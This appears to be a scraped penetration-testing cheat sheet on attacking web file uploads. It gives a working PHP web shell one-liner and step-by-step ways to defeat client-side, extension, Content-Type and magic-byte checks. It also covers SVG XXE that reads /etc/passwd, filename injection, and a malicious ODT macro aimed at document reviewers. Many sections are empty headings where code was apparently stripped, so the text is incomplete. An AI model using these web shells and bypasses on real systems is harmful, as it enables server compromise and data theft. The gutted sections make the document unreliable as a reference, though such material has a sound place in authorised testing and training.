File Upload Attacks

Identify Web Framework

# Check for index page extensions
http://TARGET/index.php
http://TARGET/index.asp
http://TARGET/index.aspx
http://TARGET/index.jsp

# Use Wappalyzer browser extension
# Or fingerprint with curl
curl -I http://TARGET/

Web Shells

PHP

<?php system($_REQUEST['cmd']); ?>
# Usage
http://TARGET/uploads/shell.php?cmd=id

ASP

JSP

Location of Pre-made Shells


Reverse Shells

PHP (pentestmonkey)

Rails Active Storage

Rails Active Storage upload links often appear under /rails/active_storage/blobs/.../filename.ext. If the app renders an uploaded profile image or attachment, view the page source and follow the blob URL.

If code files are accepted but downloaded instead of executed, treat the upload as a read/storage primitive rather than immediate RCE. Still test whether the uploaded file is rendered in an unsafe context, whether metadata is processed, and whether the blob URL leaks in debug pages or user profile HTML.

Generate with msfvenom


Bypass Client-Side Validation

Burp Intercept Method

  1. Upload valid image, capture request in Burp

  2. Change filename="image.jpg" to filename="shell.php"

  3. Replace file content with web shell

  4. Forward request

Disable JavaScript

  1. Open DevTools (F12)

  2. Find validation function in source

  3. Delete onchange="checkFile(this)" from input element

  4. Upload shell directly


Bypass Extension Blacklist

Fuzz for Allowed Extensions

Burp Intruder Fuzzing

  1. Capture upload request

  2. Send to Intruder

  3. Mark extension as payload position

  4. Load PHP extension wordlist

  5. Check response length for successful uploads


Bypass Extension Whitelist

Double Extension

Reverse Double Extension

If Apache config has: <FilesMatch ".+\.ph(ar|p|tml)">

Character Injection

Generate Character Injection Wordlist (Bash)

Generate Bypass Wordlist (Python)

file_upload_wordlist_generator.py


Bypass Content-Type Filter

Change Content-Type Header

In Burp, change Content-Type: application/x-php to Content-Type: image/jpeg


Bypass MIME-Type (Magic Bytes)

Add Magic Bytes to Shell

Common Magic Bytes

File Type
Magic Bytes (Hex)
ASCII

GIF

47 49 46 38

GIF8

PNG

89 50 4E 47

.PNG

JPEG

FF D8 FF E0

N/A

PDF

25 50 44 46

%PDF

ZIP

50 4B 03 04

PK..


SVG Attacks

XSS via SVG

XXE via SVG (Read /etc/passwd)

XXE via SVG (Read Source Code)


XSS via Image Metadata


Filename Injection

Command Injection

XSS

SQLi


Windows-Specific Attacks

Reserved Characters

Reserved Names

8.3 Filename Convention


Discover Upload Directory

Fuzzing

ODT Resume Uploads

If a site accepts only .odt resumes and says the upload will be reviewed, check whether the target opens the document with LibreOffice.

Force an upload handler error to identify the backend, web root, and allowed file type:

Generate a malicious ODT macro document with MMG-LO:

Upload the generated .odt. A successful reviewed-document shell may land inside LibreOffice:

Force Errors

  • Upload file with duplicate name

  • Upload file with very long name (5000+ chars)

  • Send two identical requests simultaneously


Upload Directory Traversal

Overwrite Files


Useful Wordlists

Last updated